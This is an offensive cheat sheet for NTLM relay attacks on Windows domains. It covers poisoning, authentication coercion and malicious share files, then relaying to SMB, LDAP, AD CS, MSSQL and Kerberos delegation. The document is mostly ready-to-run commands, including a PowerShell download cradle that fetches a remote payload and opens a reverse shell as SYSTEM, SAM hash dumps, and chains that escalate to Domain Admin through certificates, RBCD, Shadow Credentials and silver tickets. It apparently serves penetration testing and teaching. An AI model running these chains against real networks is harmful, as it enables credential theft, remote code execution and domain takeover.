NTLM Relay Attacks
NTLM relay is an Adversary-in-the-Middle (AiTM) attack. The attacker receives NTLM authentication from a victim (client), relays it to a target (server), and obtains an authenticated session as the victim. All NTLM versions (LM, NTLMv1, NTLMv2) are vulnerable because NTLM does not support mutual authentication.
Every NTLM relay attack follows three phases:
| Phase | Objective |
|---|---|
| Pre-Relay | Force or trick the victim into authenticating against us |
| Relay | Forward the NTLM authentication to the target |
| Post-Relay | Abuse the authenticated session |
Tip: Self-relay does not work -- authentication from 10.10.10.5 cannot be relayed back to 10.10.10.5.
Pre-Relay: Poisoning
LLMNR / NBT-NS / mDNS Poisoning
When DNS resolution fails, Windows clients fall back to multicast protocols (LLMNR, NBT-NS, mDNS). We respond to these broadcasts pretending to be the requested host, forcing the client to authenticate against us.
Typical scenario: a user types \\SERVERR (typo), DNS fails, LLMNR/NBT-NS broadcast fires, and we answer it.
Responder -- Analysis Mode
Run Responder in passive mode to observe LLMNR/NBT-NS/mDNS traffic without responding. Useful for initial reconnaissance.
sudo responder -I <interface> -A
Responder -- Active Poisoning
Actively respond to broadcast name resolution queries and capture NTLM hashes.
sudo responder -I <interface>
Captured hashes are written to stdout and to /usr/share/responder/logs/ in the format (MODULE)-(HASH_TYPE)-(CLIENT_IP).txt.
Pretender (Go alternative)
A lightweight alternative to Responder written in Go.
# Analysis mode (dry run, no poisoning)
pretender -i <interface> --dry
# Active poisoning
pretender -i <interface>
Tip: Pretender poisons DHCP by default, which can cause semi-permanent network issues. Disable DHCP poisoning in production engagements.
Other Poisoning Vectors
| Technique | Notes |
|---|---|
| ARP Poisoning | Layer 2, noisy, easy to detect |
| DNS Poisoning | Spoof DNS responses |
| DHCP Spoofing | Deliver malicious config via DHCP |
| DHCPv6 Spoofing | IPv6 DHCP takeover |
| ADIDNS Poisoning | Inject records into AD-integrated DNS |
| WPAD Spoofing | Proxy auto-discovery poisoning |
| WSUS Spoofing | Windows Update poisoning |
Pre-Relay: Authentication Coercion
Unlike poisoning (opportunistic), coercion is target-centric -- it forces a specific host to authenticate against us via insecure RPC calls.
Tip: Coercion requires valid domain credentials (user or machine account).
PrinterBug (MS-RPRN)
Abuses RpcRemoteFindFirstPrinterChangeNotificationEx in the Print Spooler service (running by default on most Windows hosts).
# SMB auth coercion
python3 printerbug.py DOMAIN/USER:'PASS'@<target> <attacker_ip>
# HTTP auth coercion (requires WebClient active on target)
python3 printerbug.py DOMAIN/USER:'PASS'@<target> FAKENAME@80/print
Available tools: printerbug.py, SpoolSample.exe (C#), MSRPRN-coerce (Python).
PetitPotam (MS-EFSR)
Abuses EfsRpcOpenFileRaw and EfsRpcEncryptFileSrv. Pre-patch versions work without credentials.
# SMB auth coercion
python3 PetitPotam.py <attacker_ip> <target> -u 'USER' -p 'PASS' -d DOMAIN
# HTTP auth coercion (WebDAV)
python3 PetitPotam.py FAKENAME@80/files <target> -u 'USER' -p 'PASS'
Tip: ly4k/PetitPotam implements additional methods that remain unpatched.
DFSCoerce (MS-DFSNM)
Abuses NetrDfsAddStdRoot and NetrDfsRemoveStdRoot. Only supports SMB coercion (no HTTP).
python3 dfscoerce.py -u 'USER' -p 'PASS' <attacker_ip> <target>
Coercer Framework (17 methods, 5 protocols)
Automates discovery and exploitation of all known coercion methods.
# Scan -- test which RPC calls are accessible
Coercer scan -t <target> -u 'USER' -p 'PASS' -d DOMAIN -v
# Coerce -- exploit all available methods automatically
Coercer coerce -t <target> -l <attacker_ip> -u 'USER' -p 'PASS' -d DOMAIN -v --always-continue
# HTTP coercion (Coercer v1.6 -- v2.x does not support HTTP coercion correctly)
python3 Coercer.py -t <target> -u 'USER' -p 'PASS' -wh FAKENAME -wp 80 -v
Pre-Relay: WebDAV Forcing
Why WebDAV Matters
Files on SMB shares trigger SMB authentication, which limits relay options (SMB cannot relay to LDAP). WebDAV forces authentication over HTTP, which can relay to any protocol without restrictions.
WebDAV Connection String Format
\\HOSTNAME@PORT/PATH forces HTTP authentication instead of SMB.
- HOSTNAME: any string (Responder poisons the name)
- PORT: HTTP server port (80, 8008, etc.)
- PATH: any string
Check if WebClient is Active
WebClient is enabled by default on workstations (not servers) but may be stopped.
nxc smb <subnet>/24 -u <user> -p '<pass>' -M webdav
Force WebClient Start via .searchConnector-ms
Drop a .searchConnector-ms file on an accessible share. When a user browses the share, WebClient starts and attempts HTTP authentication.
nxc smb <target> -u anonymous -p '' -M drop-sc -o URL=https://<attacker_ip>/testing SHARE=<share> FILENAME=@secret
Combo: WebDAV + Slinky for HTTP-to-LDAP Relay
Create a .lnk pointing to a WebDAV connection string, poison the hostname, and relay the HTTP auth to LDAP.
# 1. Create .lnk pointing to WebDAV connection string
nxc smb <target> -u anonymous -p '' -M slinky -o SERVER=FAKEHOST@8008 NAME=important
# 2. Responder poisons the FAKEHOST name
sudo responder -I <interface>
# 3. ntlmrelayx receives HTTP auth and relays to LDAP
ntlmrelayx.py -t ldap://<DC_IP> -smb2support --no-smb-server --http-port 8008 --no-da --no-acl --no-validate-privs -l ldap_dump
Pre-Relay: Farming Hashes
When poisoning is disabled or impractical, drop malicious files on writable shares to force authentication from users who browse those shares.
Enumerate Writable Shares
nxc smb <subnet>/24 -u anonymous -p '' --shares
# Look for shares with READ,WRITE access
Generate Malicious Files with ntlm_theft
python3 ntlm_theft.py -g all -s <attacker_ip> -f '@myfile'
# Generates: .lnk, .url, .scf, .rtf, .docx, .xlsx, .htm, desktop.ini, etc.
# The @ prefix makes files appear at the top of directory listings
| File Type | Trigger |
|---|---|
.lnk, .url, .scf, desktop.ini | Activates when user browses the folder |
.rtf, .docx, .xlsx, .htm | Requires user to open the file |
Drop Files on Shares
# Manual via smbclient
smbclient.py anonymous@<target> -no-pass
# > use <share>
# > put @myfile/@myfile.lnk
# Automatic via nxc slinky module (creates .lnk)
nxc smb <target> -u anonymous -p '' -M slinky -o SERVER=<attacker_ip> NAME=important
# Cleanup
nxc smb <target> -u anonymous -p '' -M slinky -o SERVER=<attacker_ip> NAME=important CLEANUP=True
Coercion via MSSQL (xp_dirtree)
If you have MSSQL access (e.g., from a previous relay), force the SQL server's machine account to authenticate against you.
-- Inside mssqlclient
xp_dirtree \\<attacker_ip>\fake
-- Captures auth from SQL01$ (machine account)
Target Identification
SMB Signing Enumeration
For relay to SMB targets, the target must have signing disabled (or enabled but not required). Domain Controllers have signing required by default and cannot be SMB relay targets.
# Generate relay target list with nxc
nxc smb <subnet>/24 --gen-relay-list relayTargets.txt
# RunFinger.py (bundled with Responder)
python3 RunFinger.py -i <subnet>/24
# Nmap
nmap -Pn --script=smb2-security-mode.nse -p 445 <subnet>/24 --open
Interpreting nmap output:
Message signing enabled and required-- NOT a relay target (typical for DCs)Message signing enabled but not required-- VALID relay target
Protocol Relay Matrix
The incoming authentication protocol determines which targets you can relay to.
| Incoming Auth | Relay to HTTP | Relay to SMB | Relay to LDAP | Relay to LDAPS | Relay to MSSQL | Relay to RPC |
|---|---|---|---|---|---|---|
| HTTP | Yes | Yes | Yes | Yes | Yes | Yes |
| SMB | Yes | Yes* | No** | No** | Yes | Yes |
* Requires signing disabled on the target.
** Possible only with CVE-2019-1040 or CVE-2019-1166 (MIC removal).
Tip: HTTP does not support session signing, so HTTP incoming auth can relay to any protocol without restrictions. SMB supports signing, so LDAP verifies and rejects SMB-originated relay attempts.
Post-Relay: SMB Targets
Mandatory Setup
Disable SMB and HTTP servers in Responder before launching ntlmrelayx (both bind to the same ports).
# Disable SMB in Responder
sed -i "s/SMB = On/SMB = Off/" /usr/share/responder/Responder.conf
# If relaying HTTP incoming auth, disable HTTP too
sed -i "s/HTTP = On/HTTP = Off/" /usr/share/responder/Responder.conf
SAM Dump (default action)
If the relayed user is a local admin on the target, ntlmrelayx dumps the SAM database automatically.
# Terminal 1: Responder (poisoning)
sudo responder -I <interface>
# Terminal 2: ntlmrelayx
sudo ntlmrelayx.py -tf targets.txt -smb2support
Output format: user:rid:lmhash:nthash. If the user is not a local admin, you get rpc_s_access_denied.
Command Execution
Execute arbitrary commands on the target via SMB relay. Requires the relayed user to be a local admin. Commands run as NT AUTHORITY\SYSTEM.
sudo ntlmrelayx.py -tf targets.txt -smb2support -c '<command>'
# Example: test connectivity
sudo ntlmrelayx.py -tf targets.txt -smb2support -c 'ping -n 1 <attacker_ip>'
Reverse Shell via Relay
# Terminal 1: HTTP server with payload
python3 -m http.server 8000
# Terminal 2: listener
nc -lvnp 7331
# Terminal 3: Responder
sudo responder -I <interface>
# Terminal 4: ntlmrelayx with download cradle
sudo ntlmrelayx.py -tf targets.txt -smb2support -c "powershell -c IEX(New-Object NET.WebClient).DownloadString('http://<attacker_ip>:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress <attacker_ip> -Port 7331"
The shell returns as NT AUTHORITY\SYSTEM.
SOCKS Proxy
Maintain relayed sessions for reuse with any tool via proxychains. This is the most versatile post-relay option.
# Terminal 1: ntlmrelayx with SOCKS
sudo ntlmrelayx.py -tf targets.txt -smb2support -socks
# Inside ntlmrelayx, list active sessions:
ntlmrelayx> socks
# Shows: Protocol | Target | Username | AdminStatus | Port
Use sessions via proxychains:
# Verify proxychains config (port 1080)
grep socks /etc/proxychains4.conf
# socks4 127.0.0.1 1080
# RCE via smbexec (requires AdminStatus = TRUE)
proxychains4 -q smbexec.py DOMAIN/USER@<target> -no-pass
# Access shares (works even with AdminStatus = FALSE)
proxychains4 -q smbclient.py DOMAIN/USER@<target> -no-pass
Tip: ntlmrelayx must keep running to maintain SOCKS sessions. AdminStatus FALSE still allows access to shares the user can read.
Interactive SMB Shell
Each relay session opens a local TCP port with an SMB client shell.
# Start with -i flag
sudo ntlmrelayx.py -tf targets.txt -smb2support -i
# Output shows port for each session:
# [*] Started interactive SMB client shell via TCP on 127.0.0.1:11000
# Connect via nc
nc -nv 127.0.0.1 11000
# > shares
# > use <share>
# > ls
ntlmrelayx Key Flags
| Flag | Purpose |
|---|---|
-t <target> | Relay to a single target |
-tf <file> | Relay to a list of targets |
-smb2support | Enable SMBv2 support (always use this) |
-c "<cmd>" | Execute command via SMB |
-e <file> | Upload and execute a file |
-i | Interactive shell (bind shell per session) |
-socks | SOCKS proxy for session reuse |
--enum-local-admins | Enumerate local admins on target |
--remove-mic | Remove MIC for CVE-2019-1040 |
-6 | Enable IPv6 |
Target Definition and Multi-Relay
| Type | Example | Multi-relay |
|---|---|---|
| Single general | -t smb://10.10.10.5 | Disabled (1:1) |
| Single named | -t smb://DOMAIN\\USER@10.10.10.5 | Enabled (M:M) |
| File (any) | -tf targets.txt | Enabled (M:M) |
Target URI format: scheme://DOMAIN\\USERNAME@HOST:PORT/path. Use all:// to try all supported protocols.
# Relay only connections from a specific user
ntlmrelayx.py -t smb://DOMAIN\\PETER@10.10.10.5
# Disable multi-relay (only first connection)
ntlmrelayx.py -t smb://DOMAIN\\PETER@10.10.10.5 --no-multirelay
# General target with multi-relay (put in file)
echo "smb://10.10.10.5" > target.txt
ntlmrelayx.py -tf target.txt
Post-Relay: LDAP Targets
LDAP relay requires HTTP incoming authentication (not SMB), because Domain Controllers enforce signing on LDAP and SMB supports it. HTTP does not support signing, so LDAP accepts it.
Tip: Check if CVE-2019-1040 allows SMB-to-LDAP relay with:
python3 cve-2019-1040-scanner/scan.py DOMAIN/USER:'PASS'@<DC_IP>. If vulnerable, use--remove-micon ntlmrelayx.
Domain Enumeration (LDAP Dump)
Dump domain information via LDAP relay. Output is saved in the specified directory.
sudo ntlmrelayx.py -t ldap://<DC_IP> -smb2support --no-da --no-acl -l ldap_dump
Output files in ldap_dump/:
domain_users.json/.html/.grepdomain_computers.json/.htmldomain_groups.json/.htmldomain_policy.json/.htmldomain_trusts.json/.html
Create Computer Account
Add a machine account to the domain via LDAP relay. Requires ms-DS-MachineAccountQuota >= 1 (default is 10).
sudo ntlmrelayx.py -t ldap://<DC_IP> -smb2support --no-da --no-acl --add-computer 'YOURPC$' 'Password123!'
# Omit password to generate a random one
Tip: ntlmrelayx auto-switches to LDAPS via StartTLS, which bypasses LDAP Channel Binding requirements.
Privilege Escalation via ACL Abuse
Relay authentication from a user with high privileges (e.g., GenericAll on a privileged group) to escalate via ACL abuse.
sudo ntlmrelayx.py -t ldap://<DC_IP> -smb2support --escalate-user 'YOURPC$' --no-dump -debug
ntlmrelayx enumerates privileges and exploits ACLs automatically. It can add accounts to Enterprise Admins, Domain Admins, etc. Follow up with DCSync using the escalated account.
LDAP Relay Flags
| Flag | Purpose |
|---|---|
--no-da | Do not attempt to add domain admin |
--no-acl | Do not attempt ACL abuse |
--no-dump | Do not perform LDAP dump |
--add-computer | Create a machine account |
--escalate-user | Escalate privileges via ACL abuse |
-l <dir> | Directory for LDAP dump output |
Post-Relay: ADCS (ESC8 -- HTTP Web Enrollment)
Conditions
- AD CS with Web Enrollment enabled
- Endpoint accepts NTLM authentication
- A template that allows enrollment (Machine, User, DomainController)
- Request Disposition = Issue
Enumeration
# Find ADCS servers
nxc ldap <subnet>/24 -u USER -p PASS -M adcs
# List templates
nxc ldap <DC_IP> -u USER -p PASS -M adcs -o SERVER=<CA_NAME>
# Certipy -- full enumeration (flags ESC8/ESC11 automatically)
certipy find -enabled -u USER@<DC_IP> -p PASS -stdout
# Check if endpoint accepts NTLM
curl -I http://<ADCS_IP>/certsrv/
# Look for: WWW-Authenticate: NTLM
Attack with ntlmrelayx
# 1. ntlmrelayx relays auth to HTTP enrollment
sudo ntlmrelayx.py -t http://<ADCS_IP>/certsrv/certfnsh.asp -smb2support --adcs --template Machine
# 2. Coerce SMB auth (PrinterBug, PetitPotam, etc.)
python3 printerbug.py DOMAIN/USER:'PASS'@<target> <attacker_ip>
# 3. Decode the base64 certificate from output
echo -n "<base64_cert>" | base64 -d > target.pfx
# 4. Obtain TGT
python3 gettgtpkinit.py -dc-ip <DC_IP> -cert-pfx target.pfx 'DOMAIN/TARGET$' target.ccache
# 5. Obtain NT hash
KRB5CCNAME=target.ccache python3 getnthash.py 'DOMAIN/TARGET$' -key <AS-REP_key>
# 6. Silver ticket
lookupsid.py 'DOMAIN/TARGET$'@<DC_IP> -hashes :<nt_hash>
ticketer.py -nthash <nt_hash> -domain-sid <SID> -domain DOMAIN -spn cifs/<target_fqdn> Administrator
# 7. Shell
KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass <target_fqdn>
Attack with Certipy (simplified)
# 1. Start relay
sudo certipy relay -target "http://<ADCS_IP>" -template Machine
# 2. Coerce authentication
python3 printerbug.py DOMAIN/USER:'PASS'@<target> <attacker_ip>
# 3. Certipy saves .pfx automatically -- obtain NT hash
certipy auth -pfx target.pfx -dc-ip <DC_IP>
# 4. Continue with silver ticket (ticketer.py + psexec.py)
Post-Relay: ADCS (ESC11 -- RPC/ICPR Enrollment)
Conditions
- AD CS with
IF_ENFORCEENCRYPTICERTREQUESTdisabled (Certipy flags this as ESC11) - Relay SMB auth over RPC/ICPR (not HTTP)
# 1. Certipy relay via RPC (ntlmrelayx does NOT support ICPR natively)
sudo certipy relay -target "rpc://<ADCS_IP>" -ca "<CA_NAME>"
# 2. Coerce SMB auth
python3 printerbug.py DOMAIN/USER:'PASS'@<target> <attacker_ip>
# 3. Certipy obtains certificate as .pfx
# 4. Authenticate and get NT hash
certipy auth -pfx target.pfx -dc-ip <DC_IP>
Tip: If you get
KDC_ERR_PADATA_TYPE_NOSUPP, synchronize time withntpdate <DC_IP>.
Post-Relay: Kerberos RBCD
Relay HTTP NTLM from a machine account to LDAP on the DC, set msDS-AllowedToActOnBehalfOfOtherIdentity, and impersonate Administrator.
Prerequisites
- A controlled machine account (created via
--add-computer) - Target with WebClient active (to force HTTP auth instead of SMB)
- Or DC vulnerable to CVE-2019-1040 (to relay SMB to LDAP)
Full Attack Chain
# 1. Enable WebClient on target (drop .searchConnector-ms on accessible share)
nxc smb <DC_IP> -u anonymous -p '' -M drop-sc -o URL=https://<attacker_ip>/test FILENAME=@secret
# 2. Verify WebClient is active
nxc smb <subnet>/24 -u 'YOURPC$' -p 'Password123!' -M webdav
# 3. Responder (SMB+HTTP off)
sudo responder -I <interface>
# 4. ntlmrelayx -- RBCD attack
sudo ntlmrelayx.py -t ldaps://DOMAIN\\'TARGET$'@<DC_IP> --delegate-access --escalate-user 'YOURPC$' --no-smb-server --no-dump
# 5. Coerce HTTP auth from target
python3 printerbug.py DOMAIN/YOURPC$:'Password123!'@<target_ip> FAKENAME@80/print
# 6. If successful: "Delegation rights modified successfully!"
# 7. Request service ticket impersonating Administrator
getST.py -spn cifs/<target_fqdn> -impersonate Administrator -dc-ip <DC_IP> "DOMAIN"/"YOURPC$":"Password123!"
# 8. Pass-the-ticket
KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass <target_fqdn>
Tip: Always use FQDN (not IP) with Kerberos authentication. Add the entry to
/etc/hosts.
Post-Relay: Shadow Credentials
If a user with write privileges over another (GenericAll, GenericWrite, etc.) is relayed, create Shadow Credentials on the target user to obtain a TGT and NT hash.
Prerequisite
AD CS (or PKI) must be installed in the domain for PKINIT support.
# 1. Responder (HTTP off so ntlmrelayx receives it)
sudo responder -I <interface>
# 2. ntlmrelayx -- Shadow Credentials
ntlmrelayx.py -t ldap://DOMAIN\\PRIVUSER@<DC_IP> --shadow-credentials --shadow-target <victim_user> --no-da --no-dump --no-acl --no-smb-server
# 3. Output: PFX certificate and password
# Saved PFX at path: rbnYdUv8.pfx
# Must be used with password: NRzoep723H6Yfc0pY91Z
# 4. Obtain TGT with PKINITtools
python3 gettgtpkinit.py -cert-pfx <file>.pfx -pfx-pass <password> DOMAIN/victim victim.ccache
# 5. Pass-the-ticket
KRB5CCNAME=victim.ccache evil-winrm -i <dc_fqdn> -r DOMAIN
Tip: Shadow Credentials persist even if the victim changes their password.
CVE Bypasses
These CVEs bypass NTLM relay protections and enable attack paths that would otherwise be blocked.
| CVE | Name | Description |
|---|---|---|
| CVE-2019-1040 | Drop the MIC | Removes MIC from AUTHENTICATE_MESSAGE, bypassing signing requirements for cross-protocol relay (SMB to LDAP) |
| CVE-2019-1166 | Drop the MIC 2 | Bypasses the patch for CVE-2019-1040 |
| CVE-2019-1019 | Session Key Theft | Allows requesting a session key from the DC for any NTLM authentication, enabling signing and sealing of messages |
Scanning for CVE-2019-1040
python3 cve-2019-1040-scanner/scan.py DOMAIN/USER:'PASS'@<DC_IP>
Using MIC Removal in ntlmrelayx
# Add --remove-mic to enable SMB-to-LDAP relay
sudo ntlmrelayx.py -t ldap://<DC_IP> -smb2support --remove-mic --escalate-user 'YOURPC$'
Relay ALL Protocols (Wildcard)
Use all:// in the target list to try every supported protocol against each target.
# targets.txt
# all://10.10.10.5
# all://10.10.10.6
# Disable ALL servers in Responder
sed -i '4,18s/= On/= Off/g' /usr/share/responder/Responder.conf
sudo responder -I <interface>
# ntlmrelayx tries all protocols
sudo ntlmrelayx.py -tf targets.txt -smb2support -socks
# After capturing sessions, stop servers and review
ntlmrelayx> stopservers
ntlmrelayx> socks
This produces SMB, MSSQL, HTTPS, and other sessions from multiple users across multiple targets.
Post-Relay: MSSQL
Relay authentication to a MSSQL target and interact via SOCKS or direct query.
# SOCKS + relay to MSSQL
sudo ntlmrelayx.py -t mssql://10.10.10.6 -smb2support -socks
# Use session via proxychains
proxychains -q mssqlclient.py DOMAIN/USER@<target> -windows-auth -no-pass
Inside mssqlclient:
enum_db -- list databases
enum_links -- list linked servers
enum_impersonate -- check impersonatable logins
xp_cmdshell {cmd} -- RCE (if enabled)
enable_xp_cmdshell -- enable xp_cmdshell
Direct query execution (without SOCKS):
sudo ntlmrelayx.py -t mssql://DOMAIN\\USER@<target> -smb2support -q "SELECT name FROM sys.databases;"
Tip: Run ntlmrelayx as root (
sudo su -) for MSSQL relay. Be careful with self-relay scenarios when the target also sends auth to your host.
Operational Workflow
1. Enumerate targets without signing
nxc smb <subnet>/24 --gen-relay-list targets.txt
2. Choose trigger method
Poisoning: Responder (passive collection)
Coercion: PetitPotam, PrinterBug, DFSCoerce, Coercer (targeted)
3. Decide relay target based on context
SMB targets: SAM dump, command exec, SOCKS proxy
LDAP targets: domain enum, add computer, ACL abuse, RBCD, Shadow Credentials
ADCS targets: ESC8 (HTTP), ESC11 (RPC)
MSSQL targets: query exec, xp_cmdshell
4. Configure tools
Disable SMB/HTTP in Responder.conf
Start ntlmrelayx with appropriate flags
Start Responder or coercion tool
5. Post-relay
Use obtained sessions, certs, or credentials
Chain into further attacks (DCSync, silver ticket, lateral movement)
Decision Quick Reference
| Situation | Relay Target | Key Flag |
|---|---|---|
| Need SAM hashes | SMB (signing off hosts) | default |
| Need code execution | SMB (signing off hosts) | -c |
| Need domain dump | LDAP (DC) | -l ldap_dump |
| Need machine account | LDAP (DC) | --add-computer |
| Need privilege escalation | LDAP (DC) | --escalate-user |
| ADCS Web Enrollment present | HTTP (ADCS) | --adcs --template |
| ADCS ICPR vulnerable | RPC (ADCS) | Use certipy relay |
| Need persistent sessions | Any | -socks |
| Need RBCD | LDAPS (DC) | --delegate-access |